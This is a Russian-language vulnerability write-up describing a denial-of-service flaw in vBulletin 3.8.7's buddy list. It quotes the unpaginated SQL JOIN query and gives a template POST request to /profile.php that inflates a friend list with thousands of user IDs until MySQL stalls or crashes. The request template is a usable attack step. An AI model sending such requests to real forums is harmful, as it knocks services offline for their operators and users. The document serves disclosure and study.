
Разбор уязвимости типа «Отказ в обслуживании» в списке друзей vBulletin 3.8.7.
Конечная точка /misc.php?do=buddylist выполняет один большой JOIN-запрос, который извлекает всех друзей вместе с их информацией о пользователе и сессии для проверки статуса онлайн. Поскольку этот запрос обрабатывает весь список друзей без пагинации или ограничений на результат, он становится чрезвычайно ресурсоёмким и может перегружать базу данных, когда список разрастается.
Эта проблема легко эксплуатируется и требует минимальной настройки. Для её использования не требуется никаких особых привилегий, кроме обычной учётной записи пользователя. Простое увеличение списка друзей уже способно создать серьёзную нагрузку на базу данных.
Этот SQL-запрос извлекает данные о друзьях вместе с информацией о сессии для проверки статуса онлайн для каждого друга. Поскольку он обрабатывает весь список друзей и объединяется с данными сессии для каждой записи, запрос становится очень большим и ресурсоёмким.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
Массовые списки друзей можно заполнять, отправляя POST-запросы на /profile.php с параметром listbits. Это можно повторять для тысяч идентификаторов пользователей, чтобы раздуть список друзей:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
На крупных форумах это может вызвать серьёзные задержки запросов или полностью привести к сбою экземпляра MySQL.